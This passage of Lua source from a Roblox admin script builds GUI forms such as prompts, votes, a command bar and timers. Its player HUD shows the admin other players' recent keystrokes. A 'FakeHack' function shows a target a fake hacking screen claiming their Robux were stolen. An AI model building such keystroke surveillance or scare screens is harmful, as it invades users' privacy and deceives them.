4486 local KeyOutput = Instance.new("TextLabel", PlayerHUD) KeyOutput.Name = "KeyOutput" KeyOutput.Position = UDim2.new(0, 1, -0.5, 0) KeyOutput.Size = UDim2.new(5, 0, 0.5, 1) KeyOutput.BackgroundTransparency = 1 KeyOutput.Text = "" KeyOutput.Font = "SourceSansLight" KeyOutput.FontSize = "Size14" KeyOutput.TextScaled = true KeyOutput.TextWrapped = true KeyOutput.TextXAlignment = "Left" KeyOutput.TextColor3 = Color3.new(1, 1, 1)
4487 coroutine.wrap(function() while wait() and InfoLabel and InfoLabel.Parent and Char and Char:FindFirstChild("Head") do
4488 InfoLabel.Text = "Name: "..Player.Name..[[
4489Rank: ]]..RANK:GetRank(Player)..[[
4490Age: ]]..STRING:FindAge(Player.AccountAge)
4491 if Speaker.Character and Speaker.Character:FindFirstChild("Head") then
4492 InfoLabel.Text = InfoLabel.Text..[[
4493Distance: ]]..CORE:Round((Speaker.Character.Head.Position - Player.Character.Head.Position).magnitude)
4494 end
4495 if LastKeys[Player.UserId] then
4496 local Keys = ""
4497 local KeyLog = {}
4498 for _,KeyData in pairs(LastKeys[Player.UserId]) do
4499 table.insert(KeyLog, KeyData[1])
4500 if KeyData[2] == 8 then
4501 Keys = string.sub(Keys, 1, #Keys - 1)
4502 elseif KeyData[2] == 13 then
4503 Keys = Keys.." "
4504 else
4505 Keys = Keys..string.char(KeyData[2])
4506 end
4507 end
4508 KeyLabel.Text = table.concat(KeyLog, "\n")
4509 KeyOutput.Text = Keys
4510 end
4511 HUD.Image = "rbxassetid://"..RankHUD[Rank]
4512 end end)()
4513
4514 local CharRev,Removing = nil,nil
4515 CharRev = Player.CharacterRemoving:connect(function()
4516 PlayerHUD:Destroy()
4517 CharRev:disconnect()
4518 Removing:disconnect()
4519 end)
4520 Removing = Server.Players.PlayerRemoving:connect(function(PlayerR) if PlayerR == Player then
4521 PlayerHUD:Destroy()
4522 CharRev:disconnect()
4523 Removing:disconnect()
4524 end end)
4525 end
4526
4527 local function ConnectHUD(Player)
4528 if Player ~= Speaker then
4529 if Player.Character then
4530 AddHUD(Player, Player.Character)
4531 end
4532
4533 Player.CharacterAdded:connect(function(Char)
4534 if Speaker then
4535 AddHUD(Player, Char)
4536 else return nil
4537 end
4538 end)
4539 end
4540 end
4541
4542 for _,Player in pairs(Server.Players:GetPlayers()) do
4543 ConnectHUD(Player)
4544 end
4545
4546 Server.Players.PlayerAdded:connect(ConnectHUD)
4547end
4548
4549function GUI:CreateMessagePrompt(Player, Title, ImageID, PreAdd, SpeakerEvents)
4550 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
4551 local Stopped = false
4552
4553 local Frame, _, Closed = GUI:CreateForm(Player, Title, UDim2.new(0.3,0,0.5,0), nil, ImageID)
4554 Frame.Size = UDim2.new(1, 0, 1, -30)
4555 Frame.CanvasSize = UDim2.new(0, 0 ,0 ,0)
4556
4557 local FakeCB = Instance.new("TextButton", Frame.Parent) FakeCB.Name = "FakeChatBox" FakeCB.Position = UDim2.new(0, 0, 1, -30) FakeCB.Size = UDim2.new(1, -50, 0, 30) FakeCB.BackgroundTransparency = 1 FakeCB.Text = "Click here or press the '-' key" FakeCB.Font = Settings.Font FakeCB.FontSize = "Size18" FakeCB.TextXAlignment = "Left" FakeCB.ZIndex = 2
4558 local ChatBox = Instance.new("TextBox", Frame.Parent) ChatBox.Name = "ChatBox" ChatBox.Position = UDim2.new(0, 0, 1, -30) ChatBox.Size = UDim2.new(1, -50, 0, 30) ChatBox.BackgroundTransparency = 0.5 ChatBox.BackgroundColor3 = GUI:GetColor() ChatBox.Text = "" ChatBox.Font = Settings.Font ChatBox.FontSize = "Size18" ChatBox.TextXAlignment = "Left" ChatBox.ClearTextOnFocus = false
4559 local Send = Instance.new("TextButton", Frame.Parent) Send.Position = UDim2.new(1, -50, 1, -30) Send.Size = UDim2.new(0, 50, 0, 30) Send.BackgroundColor3 = GUI:GetColor() Send.BackgroundTransparency = 0.5 Send.Text = "Enter" Send.Font = Settings.Font Send.FontSize = "Size14"
4560
4561 local function AddLine(Speaker, MessageText, MessageColor)
4562 MessageText = STRING:Defilter(MessageText)
4563 if MessageColor == true then MessageColor = Color3.new(1,0,0) end
4564 if not MessageColor then MessageColor = GUI:ContrastColor() end
4565 local Bounds = Instance.new("Frame") Bounds.Name = "Bounds" Bounds.Position = UDim2.new(0, 0, 1, -20) Bounds.Size = UDim2.new(1, 0, 0, 20) Bounds.BackgroundTransparency = 1
4566 local Name = Instance.new("TextLabel", Bounds) Name.Name = "PName" Name.Size = UDim2.new(0, 60, 1, 0) Name.BackgroundTransparency = 1 Name.Text = Speaker..": " Name.Font = "ArialBold" Name.FontSize = "Size14" Name.TextXAlignment = "Left" Name.TextColor3 = GUI:GetNameColor(Speaker).Color
4567 local Message = Instance.new("TextLabel", Bounds) Message.Name = "Message" Message.Position = UDim2.new(0, 60, 0, 0) Message.Size = UDim2.new(0, 60, 1, 0) Message.BackgroundTransparency = 1 Message.Text = MessageText Message.Font = "ArialBold" Message.FontSize = "Size14" Message.TextXAlignment = "Left" Message.TextColor3 = MessageColor
4568 Bounds.Parent = Frame
4569 end
4570
4571 local RPR = CORE:CreateRemotePropertyReader(ChatBox)
4572
4573 local Functions = Instance.new("Folder", Frame) Functions.Name = "Functions"
4574 local SendPressed = Instance.new("BindableEvent", Functions) SendPressed.Name = "SendPressed"
4575 local AddMessage = Instance.new("BindableFunction", Functions) AddMessage.Name = "AddMessage"
4576
4577 local EnterPressed = Instance.new("RemoteFunction", ChatBox) EnterPressed.Name = "EnterPressed"
4578 local ClearCB = Instance.new("RemoteFunction", ChatBox) ClearCB.Name = "ClearCB"
4579
4580 CORE:ExecuteResource("MessagePromptHandler", Frame)
4581
4582 wait(0.1)
4583
4584 if PreAdd then
4585 for Num,Add in pairs(PreAdd) do
4586 AddLine(Add[1], Add[2], Add[3])
4587 end
4588 end
4589
4590 --[[
4591 CORE:ExecuteResource("ChatBoxLocal", ChatBox)
4592
4593 CORE:HandleEvent(ChatBox, "MouseEnter", function()
4594 if ChatBox.Text == "Click here or press the '-' key" then
4595 ChatBox.Text = ""
4596 end
4597 end)
4598 ]]
4599
4600 local function FireSendPressed()
4601 local Text = CORE:ReadProperty(RPR, Player, "Text")
4602 if Text ~= "" and Text ~= "Click here or press the '-' key" then
4603 SendPressed:Fire(Text)
4604 FakeCB.Visible = true
4605 ClearCB:InvokeClient(Player)
4606 end
4607 end
4608
4609 Closed.Event:connect(function()
4610 if Stopped == false then
4611 Stopped = true
4612 if SpeakerEvents then SpeakerEvents("Leave") end
4613 end
4614 end)
4615
4616 CORE:HandleEvent(Send, "MouseButton1Down", FireSendPressed)
4617 EnterPressed.OnServerInvoke = FireSendPressed
4618 AddMessage.OnInvoke = AddLine
4619
4620 if SpeakerEvents then
4621 SpeakerEvents("Join")
4622
4623 coroutine.wrap(function()
4624 repeat wait() until not Frame or not Frame.Parent
4625 if Stopped == false then
4626 Stopped = true
4627 SpeakerEvents("Leave")
4628 end
4629 end)()
4630 end
4631
4632 return SendPressed, AddMessage
4633end
4634
4635function GUI:PromptMessageWithButtons(Player, Title, BodyText, IconID, Buttons, Time, ShowFormButtons)
4636 if tonumber(Time) then ShowFormButtons = false end
4637 local Frame, Close = GUI:CreateForm(Player, Title, UDim2.new(0.4,0,0.4,0), nil, IconID, ShowFormButtons)
4638 local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1, 0, 1, -60) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextWrapped = true Body.TextColor3 = GUI:ContrastColor()
4639 local Clicked = nil
4640 local Alive = true
4641
4642 local function ClosePrompt(ButtonName)
4643 Alive = false
4644 Close:Invoke()
4645 Clicked = ButtonName
4646 end
4647
4648 for Num,Select in pairs(Buttons) do
4649 local Name = Select
4650 local Style = "White"
4651 local TextColor3 = Color3.new(0,0,0)
4652 if type(Select) == "table" then
4653 Name = Select[1]
4654 if Select[2] then Style = Select[2] end
4655 if Select[3] then TextColor3 = Select[3] end
4656 elseif type(Select) == "string" then
4657 local Case = string.lower(Select)
4658 if Case == "ok" then
4659 Name = "Ok"
4660 Style = "Primary"
4661 TextColor3 = Color3.new(1,1,1)
4662 elseif Case == "yes" then
4663 Name = "Yes"
4664 Style = "Gray"
4665 TextColor3 = Color3.new(0,1,0)
4666 elseif Case == "no" then
4667 Name = "No"
4668 Style = "Red"
4669 TextColor3 = Color3.new(1,0,0)
4670 end
4671 end
4672
4673 if Style == "None" then Style = "Custom" end
4674 if Style == "Casual" then Style = "RobloxButton" end
4675 if Style == "Red" then Style = "RobloxButtonDefault" end
4676 if Style == "Gray" then Style = "RobloxRoundButton" end
4677 if Style == "Primary" then Style = "RobloxRoundDefaultButton" end
4678 if Style == "White" then Style = "RobloxRoundDropdownButton" end
4679
4680 local Button = Instance.new("TextButton", Frame) Button.Name = Name Button.Position = UDim2.new((Num/#Buttons)-(1/#Buttons), 0, 1, -55) Button.Size = UDim2.new(1/#Buttons, 0, 0, 50) Button.BackgroundColor3 = Color3.new(1, 1, 1) Button.Text = Name Button.Font = Settings.Font Button.FontSize = "Size14" Button.TextScaled = true Button.TextWrapped = true Button.TextColor3 = TextColor3 Button.Style = Style
4681 CORE:HandleEvent(Button, "MouseButton1Down", function() ClosePrompt(Name) end)
4682 SOUND:BindButton(Button)
4683 end
4684
4685 if tonumber(Time) then
4686 local Ticker = Instance.new("TextLabel", Frame.Parent) Ticker.Size = UDim2.new(1, 0, 0, 30) Ticker.TextColor3 = GUI:ContrastColor() Ticker.BackgroundTransparency = 1 Ticker.Text = Time Ticker.Font = "ArialBold" Ticker.FontSize = "Size18"
4687 Frame.Size = Frame.Size + UDim2.new(0,0,0,-30)
4688 Frame.Position = Frame.Position + UDim2.new(0,0,0,30)
4689
4690 for i = Time,0,-1 do
4691 for ii = 1,10 do
4692 if Alive == true then
4693 Ticker.Text = i
4694 wait(0.1)
4695 else
4696 break
4697 end
4698 end
4699 end
4700 if Alive == true then
4701 ClosePrompt()
4702 end
4703 end
4704
4705 repeat wait() until Alive == false
4706 return Clicked
4707end
4708
4709function GUI:Vote(Speaker, Players, Text, Time)
4710 if not Players or not Text or #Players <= 0 then return end
4711
4712 Text = STRING:Defilter(Text)
4713 local Votes = {}
4714 local Tick = 0
4715
4716 for _,Player in pairs(Players) do
4717 local CanVote = true
4718 if not game.Players:FindFirstChild(tostring(Player)) or not Player.PlayerGui then CanVote = false end
4719 if CanVote == true then
4720 coroutine.wrap(function()
4721 local Answer = GUI:PromptMessageWithButtons(Player, "Vote", Text, nil, {"Yes", "No"}, Time)
4722 if Answer == nil then Answer = "Unknown" end
4723 table.insert(Votes, Answer)
4724 end)()
4725 end
4726 end
4727 repeat wait(1) Tick = Tick + 1 until #Votes >= #Players or Tick >= Time
4728 wait(2)
4729 if Speaker and Speaker:FindFirstChild("PlayerGui") then
4730 local Total = #Players
4731 local Yes,No,Unknown = 0,0,0
4732 for _,Vote in pairs(Votes) do
4733 if Vote == "Yes" then Yes = Yes + 1
4734 elseif Vote == "No" then No = No + 1
4735 end
4736 end
4737 Unknown = #Players - #Votes
4738
4739 local Frame = GUI:CreateForm(Speaker, "Vote Results", UDim2.new(0.35, 0, 0.35, 0), nil, 42330863)
4740 local QText = Instance.new("TextLabel", Frame) QText.Name = "QText" QText.Size = UDim2.new(1, 0, 1, -55) QText.BackgroundColor3 = Color3.new(1, 1, 1) QText.BackgroundTransparency = 1 QText.Text = "Results for: "..Text QText.Font = Settings.Font QText.FontSize = "Size18" QText.TextWrapped = true QText.TextYAlignment = "Top" QText.TextColor3 = GUI:ContrastColor()
4741 local RTextYes = Instance.new("TextLabel", Frame) RTextYes.Name = "RTextYes" RTextYes.Position = UDim2.new(0, 0, 1, -55) RTextYes.Size = UDim2.new(1, 0, 0, 55) RTextYes.BackgroundColor3 = Color3.new(1, 1, 1) RTextYes.BackgroundTransparency = 1 RTextYes.Font = Settings.Font RTextYes.FontSize = "Size18" RTextYes.TextXAlignment = "Left" RTextYes.TextYAlignment = "Bottom" RTextYes.TextColor3 = Color3.new(0, 1, 0) RTextYes.Text = [[Yes:
4742]]..Yes.."/"..Total..[[
4743]]..math.ceil((Yes/Total)*100).."% "
4744 local RTextNo = Instance.new("TextLabel", Frame) RTextNo.Name = "RTextNo" RTextNo.Position = UDim2.new(0, 0, 1, -55) RTextNo.Size = UDim2.new(1, 0, 0, 55) RTextNo.BackgroundColor3 = Color3.new(1, 1, 1) RTextNo.BackgroundTransparency = 1 RTextNo.Font = Settings.Font RTextNo.FontSize = "Size18" RTextNo.TextXAlignment = "Right" RTextNo.TextYAlignment = "Bottom" RTextNo.TextColor3 = Color3.new(1, 0, 0) RTextNo.Text = [[No:
4745]]..No.."/"..Total..[[
4746]]..math.ceil((No/Total)*100).."% "
4747 local RTextUnknown = Instance.new("TextLabel", Frame) RTextUnknown.Name = "RTextUnknown" RTextUnknown.Position = UDim2.new(0, 0, 1, -55) RTextUnknown.Size = UDim2.new(1, 0, 0, 55) RTextUnknown.BackgroundColor3 = Color3.new(1, 1, 1) RTextUnknown.BackgroundTransparency = 1 RTextUnknown.Font = Settings.Font RTextUnknown.FontSize = "Size18" RTextUnknown.TextYAlignment = "Bottom" RTextUnknown.TextColor3 = Color3.new(0, 0, 0) RTextUnknown.Text = [[No vote:
4748]]..Unknown.."/"..Total..[[
4749]]..math.ceil((Unknown/Total)*100).."% "
4750 end
4751end
4752
4753function GUI:LoadGui(Player, Text, InfoText)
4754 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
4755 local Dead = false
4756
4757 local Frame, Close = GUI:CreateForm(Player, Text, UDim2.new(0.2,100,0.1,100), nil, 206886319, false)
4758 local WaitIcon = Instance.new("ImageLabel", Frame) WaitIcon.Name = "WaitIcon" WaitIcon.Position = UDim2.new(0, 10, 0.5, -35) WaitIcon.Size = UDim2.new(0, 70, 0, 70) WaitIcon.BackgroundColor3 = Color3.new(1, 1, 1) WaitIcon.BackgroundTransparency = 1 WaitIcon.Image = "http://roblox.com/asset/?id=206886319"
4759 local LoadLabel = Instance.new("TextLabel", Frame) LoadLabel.Position = UDim2.new(0, 85, 0, 0) LoadLabel.Size = UDim2.new(1, -90, 1, 0) LoadLabel.TextColor3 = GUI:ContrastColor() LoadLabel.BackgroundTransparency = 1 LoadLabel.Text = Text LoadLabel.Font = "ArialBold" LoadLabel.FontSize = "Size24" LoadLabel.TextWrapped = true LoadLabel.TextXAlignment = "Left"
4760 local Info = Instance.new("TextLabel", Frame) Info.Size = UDim2.new(1, 0, 1, 0) Info.TextColor3 = GUI:ContrastColor() Info.BackgroundTransparency = 1 Info.Text = "" Info.Font = Settings.Font Info.FontSize = "Size14" Info.TextWrapped = true Info.TextXAlignment = "Left" Info.TextYAlignment = "Bottom"
4761 if InfoText then Info.Text = InfoText end
4762
4763 local CloseGui = Instance.new("BindableFunction", Frame) CloseGui.Name = "CloseGui"
4764 local AddInfo = Instance.new("BindableFunction", Frame) CloseGui.Name = "AddInfo"
4765
4766 CloseGui.OnInvoke = function()
4767 Close:Invoke()
4768 Dead = true
4769 end
4770 AddInfo.OnInvoke = function(AddText)
4771 Info.Text = AddText
4772 end
4773
4774 coroutine.wrap(function()
4775 for i = 0,math.huge,3 do
4776 if Dead == false and Frame then
4777 WaitIcon.Rotation = i
4778 wait()
4779 else
4780 break
4781 end
4782 end
4783 end)()
4784
4785 coroutine.wrap(function()
4786 while Dead == false and Frame do
4787 wait(0.5)
4788 LoadLabel.Text = Text.."."
4789 wait(0.5)
4790 LoadLabel.Text = Text..".."
4791 wait(0.5)
4792 LoadLabel.Text = Text.."..."
4793 wait(0.5)
4794 LoadLabel.Text = Text..".."
4795 wait(0.5)
4796 LoadLabel.Text = Text.."."
4797 wait(0.5)
4798 LoadLabel.Text = Text
4799 end
4800 end)()
4801
4802 wait(1)
4803
4804 return CloseGui, AddInfo
4805end
4806
4807function GUI:FakeHack(Player) coroutine.wrap(function()
4808 if not Player or not Player:FindFirstChild("PlayerGui") then return end
4809 local FakeText = [[
4810>SHELL: BEGIN
4811>RUNCODE:
4812return {
4813 local Hack = {"Account", "Tix", "Robux"};
4814 function Start(Type, Inject, Scan)
4815 if not Inject then Inject = "In-Game" end
4816 return {Type, Inject, Scan}
4817 end
4818 for Exe,Exploit in pairs(Hack) do
4819 local IP = Start("In-Game",Exploit,
4820 BeginScan("PLAYERNAME","Socket",{PLAYERNAME, "Local-ID"};0xPLAYERCONNECT),
4821 {"LOCAL-IP", "SERVER-IP", "HOST-IP"}
4822 )
4823 Start:ExtractData = function() EndScan("RobloxPlayerBeta.exe","Place1","PLAYERNAME") end
4824 for i = 1,#Injection[2] do
4825 Log("PlayerData", "ConnectHost", "PLAYERNAME")
4826 end
4827 local PlayerProxy = newproxy(true)
4828 setmetatable(PlayerProxy,Injection[3],{
4829 __index = function(StealData, ...) local Data = unpack(...)
4830 return {Data,"IP-KEY-LOG: 'PLAYERNAME'"}
4831 end;
4832 })
4833 end
4834 Log("HACKED HOST: PLAYERNAME")
4835}
4836>HACKED HOST: PLAYERNAME
4837
4838]]
4839 local SG = Player.PlayerGui:FindFirstChild("MML Hack Gui")
4840 if SG then SG:Destroy() end
4841 SG = Instance.new("ScreenGui", Player.PlayerGui)
4842 SG.Name = "MML Hack Gui"
4843 local Frame = Instance.new("Frame", SG) Frame.Name = "HackFrame" Frame.BackgroundColor3 = Color3.new(0,0,0) Frame.Position = UDim2.new(0.45,-125,0.4,-100) Frame.Size = UDim2.new(0.1,250,0.1,200)
4844 local X = Instance.new("TextButton", Frame) X.Name = "X" X.Style = "RobloxButtonDefault" X.Size = UDim2.new(0,20,0,20) X.Visible = false X.Font = "ArialBold" X.FontSize = "Size18" X.Text = "X" X.TextColor3 = Color3.new(1,0,0) X.ZIndex = 2 CORE:HandleEvent(X, "MouseButton1Click", function() SG:Destroy() end)
4845 local HT = Instance.new("TextLabel", Frame) HT.Name = "Hack Text" HT.Size = UDim2.new(1,0,1,0) HT.BackgroundTransparency = 1 HT.Font = "ArialBold" HT.FontSize = "Size12" HT.TextColor3 = Color3.new(0,1,0) HT.TextXAlignment = "Left" HT.TextYAlignment = "Bottom" HT.ClipsDescendants = true
4846 for i = 1,#FakeText do
4847 HT.Text = string.sub(string.gsub(FakeText, "PLAYERNAME", Player.Name), 1, i)
4848 if math.random(1,5) == 1 then
4849 wait()
4850 end
4851 end
4852 HT.Text = string.gsub(FakeText, "PLAYERNAME", Player.Name)
4853 wait(3)
4854 HT.Text = HT.Text..[[>INFO: all of your robuxs have been stolen]]
4855 X.Visible = true
4856end)() end
4857
4858function GUI:CommandBar(Player)
4859 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
4860
4861 local Frame = GUI:CreateForm(Player, "Country Roads Admin", UDim2.new(0.5, 100, 0.1, 50), UDim2.new(0.25, -50, 0.1, 0), "Admin", nil, nil, nil, nil, nil, nil, true)
4862 local CommandBox = Instance.new("TextBox", Frame) CommandBox.Name = "CommandBox" CommandBox.Position = UDim2.new(0.3, 5, 0, 5) CommandBox.Size = UDim2.new(0.7, -20, 0.4, 0) CommandBox.BackgroundColor3 = GUI:GetColor() CommandBox.BackgroundTransparency = Settings.TransparencyScheme CommandBox.Text = "Enter a command here" CommandBox.Font = Settings.Font CommandBox.FontSize = "Size18" CommandBox.TextXAlignment = "Left" CommandBox.TextColor3 = GUI:ContrastColor() CommandBox.ClearTextOnFocus = false
4863 local Execute = Instance.new("TextButton", Frame) Execute.Name = "Execute" Execute.Position = UDim2.new(0.3, 5, 0.7, -10) Execute.Size = UDim2.new(0.7, -20, 0.4, -10) Execute.BackgroundColor3 = GUI:GetColor() Execute.BackgroundTransparency = Settings.TransparencyScheme Execute.Text = "Eliminate" Execute.Font = "ArialBold" Execute.FontSize = "Size18" Execute.TextColor3 = GUI:ContrastColor()
4864 local Suggest = Instance.new("ScrollingFrame", Frame) Suggest.Name = "Suggest" Suggest.BackgroundTransparency = Settings.TransparencyScheme Suggest.CanvasSize = UDim2.new(0,0,0,0) Suggest.BackgroundColor3 = GUI:ContrastColor() Suggest.Size = UDim2.new(0.3,0,1,0)
4865
4866 local _,Rank = RANK:GetRank(Player)
4867 local UsableCommands = {}
4868 for CommandNames,Data in pairs(Commands) do
4869 if not Data.Hidden then
4870 if RANK:ConvertRank(Data[4]) <= Rank then
4871 for _,Command in pairs(CommandNames) do
4872 table.insert(UsableCommands, {Command, Data[3]})
4873 end
4874 end
4875 end
4876 end
4877
4878 local RPR = CORE:CreateRemotePropertyReader(CommandBox)
4879
4880 local function ExecuteText()
4881 local Text = CORE:ReadProperty(RPR, Player, "Text")
4882 CORE:Chatted(Text, Player, true)
4883 CommandBox.Text = "Enter a command here"
4884 end
4885
4886 local function AddSuggestion(Text)
4887 if Text == nil then Text = Settings.Prefix end
4888 local Suggestion = Instance.new("TextButton", Suggest) Suggestion.Name = "Suggestion" Suggestion.Size = UDim2.new(1, -13, 0, 25) Suggestion.Position = UDim2.new(0,0,0,(#Suggest:GetChildren()-1)*25) Suggestion.BackgroundColor3 = Color3.new(1, 1, 1) Suggestion.BackgroundTransparency = Settings.TransparencyScheme Suggestion.Text = Text Suggestion.Font = Settings.Font Suggestion.FontSize = "Size14" Suggestion.TextXAlignment = "Left" Suggestion.TextColor3 = Color3.new(0, 0, 0)
4889 Suggest.CanvasSize = Suggest.CanvasSize + UDim2.new(0,0,0,25)
4890 CORE:HandleEvent(Suggestion, "MouseButton1Down", function()
4891 if Text == Settings.Prefix then
4892 CommandBox.Text = Settings.Prefix
4893 else
4894 CommandBox.Text = Settings.Prefix..Text
4895 end
4896 CORE:ExecuteResource("Focus", CommandBox)
4897 end, true)
4898 end
4899
4900 CORE:HandleEvent(CommandBox, "MouseEnter", function()
4901 if CommandBox.Text == "Enter a command here" then
4902 CommandBox.Text = ""
4903 end
4904 end)
4905
4906 local EnterPressed = Instance.new("RemoteFunction", CommandBox) EnterPressed.Name = "EnterPressed"
4907 CORE:ExecuteResource("ChatBoxLocal", CommandBox)
4908
4909 CORE:HandleEvent(Execute, "MouseButton1Down", ExecuteText)
4910 EnterPressed.OnServerInvoke = ExecuteText
4911
4912 CORE:HandleEvent(CommandBox, "Changed", function(Prop) if Prop == "Text" then
4913 Suggest.CanvasSize = UDim2.new(0,0,0,0)
4914 Suggest:ClearAllChildren()
4915 local Text = CORE:ReadProperty(RPR, Player, "Text")
4916 if Text == "" then
4917 AddSuggestion(Settings.Prefix)
4918 end
4919
4920 if string.sub(string.lower(Text),1,#Settings.Prefix) == string.lower(Settings.Prefix) then
4921 Text = string.sub(Text,#Settings.Prefix+1)
4922 end
4923 for _,Data in pairs(UsableCommands) do
4924 local Command,Args = Data[1],Data[2]
4925 if string.find(string.lower(Command),string.lower(Text)) then
4926 local NewSuggestion = Command
4927 if Args >= 1 then NewSuggestion = NewSuggestion..Settings.Bet end
4928 AddSuggestion(NewSuggestion)
4929 end
4930 end
4931
4932 end end)
4933end
4934function GUI:Countdown(Player, AllSeconds) coroutine.wrap(function()
4935 if not Player or not AllSeconds then return nil end
4936 AllSeconds = tonumber(AllSeconds)
4937 local Frame, Close, Closed, _, __, Restore = GUI:CreateForm(Player, "Countdown", UDim2.new(0, 200, 0, 80), UDim2.new(0, 0, 0, 200), 154818730)
4938 AllSeconds = math.floor(AllSeconds)
4939 if AllSeconds < 1 then AllSeconds = 1 elseif AllSeconds > 300 then AllSeconds = 300 end
4940 local Time = Instance.new("TextLabel", Frame) Time.Name = "Time" Time.Size = UDim2.new(1, 0, 1, 0) Time.BackgroundTransparency = 1 Time.Text = "00:00" Time.Font = "ArialBold" Time.FontSize = "Size24" Time.TextYAlignment = "Top" Time.TextColor3 = GUI:ContrastColor()
4941 local Full = Instance.new("Frame", Frame) Full.Name = "Full" Full.Position = UDim2.new(0.1, 0, 0.7, 0) Full.Size = UDim2.new(0.8, 0, 0, 5) Full.BackgroundColor3 = GUI:ContrastColor() Full.BorderSizePixel = 0
4942 local Part = Instance.new("Frame", Full) Part.Name = "Part" Part.Size = UDim2.new(0, 0, 1, 0) Part.BackgroundColor3 = GUI:GetColor() Part.BorderColor3 = Color3.new(1, 1, 1) Part.BorderSizePixel = 2
4943 local Tick = SOUND:MakeSound(Frame, 151715959, 1, 1)
4944 local Alarm = SOUND:MakeSound(Frame, 131573697, 1, 1)
4945
4946 local CurrentSeconds = AllSeconds
4947 local Alive = true
4948 coroutine.wrap(function() for i = 0,AllSeconds do
4949 if not Alive then break end
4950 local Seconds = tostring(math.fmod(CurrentSeconds,60))
4951 local Minutes = tostring(math.floor(CurrentSeconds/60))
4952 if #Seconds == 1 then Seconds = "0"..Seconds end
4953 if #Minutes == 1 then Minutes = "0"..Minutes end
4954 Time.Text = Minutes..":"..Seconds
4955 wait(1)
4956 if CurrentSeconds <= 0 then
4957 Alarm:Play()
4958 Time.Text = "00:00"
4959 Part.Size = UDim2.new(1,0,1,0)
4960 Restore:Invoke()
4961 wait(4)
4962 Close:Invoke()
4963 break
4964 else
4965 Tick:Play()
4966 Part.Size = UDim2.new((AllSeconds - CurrentSeconds)/AllSeconds,0,1,0)
4967 CurrentSeconds = CurrentSeconds - 1
4968 end
4969 end end)()
4970
4971 Closed.Event:connect(function()
4972 if Alive == true then
4973 Alive = false
4974 Tick:Stop()
4975 Alarm:Stop()
4976 end
4977 end)
4978end)() end
4979
4980function GUI:DetachChat(Player)
4981 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
4982 if Player:FindFirstChild("DetachChatMML") then
4983 Player.DetachChatMML:Invoke(true)
4984 wait()
4985 Player.DetachChatMML:Destroy()
4986 end
4987
4988 local Frame, _, Closed = GUI:CreateForm(Player, "Detached Chat", UDim2.new(0.5, 0, 0.5, 32), nil, 57550259)
4989 local SG = Frame.Parent.Parent.Parent
4990
4991 local DCBF = Instance.new("BindableFunction", Player)
4992 DCBF.Name = "DetachChatMML"
4993 DCBF.OnInvoke = function(Remove)
4994 if Remove then
4995 SG:Destroy()
4996 end
4997 end
4998 CORE:ExecuteResource("CoreChat", SG)
4999
5000 local IsClosed = false
5001 Closed.Event:connect(function()
5002 CORE:ExecuteResource("ResetChat", Player:WaitForChild("Backpack"))
5003 IsClosed = true
5004 end)
5005
5006 coroutine.wrap(function()
5007 Player.CharacterRemoving:wait()
5008 if not IsClosed then
5009 IsClosed = true
5010 wait(1)
5011 CORE:ExecuteResource("ResetChat", Player:WaitForChild("Backpack"))
5012 end
5013 end)()
5014end
5015
5016function GUI:SendChat(Player, Data) coroutine.wrap(function()
5017 if not Player then return nil end
5018 if type(Data) ~= "table" then Data = {Text = tostring(Data)} end
5019
5020 Player:WaitForChild("SendChat"):InvokeClient(Player, Data)
5021end)() end
5022
5023function GUI:SoundInfo(Player, SoundID, TitleText, CreatorText, Time)
5024 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
5025
5026 local NumSounds = 0
5027 for _,SG in pairs(Player.PlayerGui:GetChildren()) do
5028 if SG.Name == "M".."a".."k".."erModelLu".."a's Admin Form Sound" then
5029 NumSounds = NumSounds + 1
5030 end
5031 end
5032
5033 local Size = UDim2.new(0.1, 100, 0.1, 100)
5034 local Frame, Close, Closed, _, Minimized = GUI:CreateForm(Player, "Playing Sound "..SoundID, Size, UDim2.new(Size.X.Scale * NumSounds, (Size.X.Offset * NumSounds) + (NumSounds * 5), 0.5, -50), "Sound", true, nil, nil, false)
5035 Frame.Parent.Parent.Parent.Name = Frame.Parent.Parent.Parent.Name.." Sound"
5036
5037 local Title = Instance.new("TextLabel", Frame) Title.FontSize = "Size24" Title.TextWrapped = true Title.Size = UDim2.new(1, 0, 0.8, -35) Title.TextColor3 = GUI:ContrastColor() Title.Text = TitleText Title.BackgroundTransparency = 1 Title.Font = Settings.Font Title.Name = "Title"
5038 local Creator = Instance.new("TextLabel", Frame) Creator.FontSize = "Size18" Creator.TextWrapped = true Creator.Size = UDim2.new(1, 0, 0.2, 0) Creator.TextColor3 = GUI:ContrastColor() Creator.Text = CreatorText Creator.Position = UDim2.new(0, 0, 0.8, -35) Creator.BackgroundTransparency = 1 Creator.Font = Settings.Font Creator.Name = "Creator"
5039 local Timer = Instance.new("TextLabel", Frame) Timer.FontSize = "Size14" Timer.TextWrapped = true Timer.Size = UDim2.new(1, 0, 0, 35) Timer.TextColor3 = GUI:ContrastColor() Timer.Position = UDim2.new(0, 0, 1, -35) Timer.BackgroundTransparency = 1 Timer.Font = Settings.Font Timer.Name = "Timer"
5040 local Stop = Instance.new("ImageButton", Timer) Stop.Image = "rbxassetid://49494354" Stop.Size = UDim2.new(0, 30, 0, 30) Stop.BackgroundTransparency = 1 Stop.Position = UDim2.new(1, -35, 0, 2)
5041
5042 coroutine.wrap(function()
5043 local Alive = true
5044
5045 local function StopTimer() Alive = false end
5046 Closed.Event:connect(StopTimer)
5047 Minimized.Event:connect(StopTimer)
5048 CORE:HandleEvent(Stop, "MouseButton1Down", StopTimer)
5049
5050 for i = Time,0,-1 do
5051 for ii = 1,10 do
5052 if Alive == true then
5053 Timer.Text = i
5054 wait(0.1)
5055 else
5056 break
5057 end
5058 end
5059 end
5060 if Alive == true then
5061 Close:Invoke()
5062 else
5063 Timer:Destroy()
5064 Stop:Destroy()
5065 end
5066 end)()
5067end
5068
5069---- STRING REPLACEMENT OPERATIONS ----
5070
5071-- {"_REPLACEMENT", "Replaces input string with ".."string description", RequiresPlayer, function(Player)}
5072
5073-- Like the commands, this table must be placed here in order for the variables in the functions to successfully initalize.
5074
5075StringReplacements = {
5076 {"_SERVERTIME", "total server time in seconds", false, function(Player) return tostring(math.floor(Workspace.DistributedGameTime)) end};
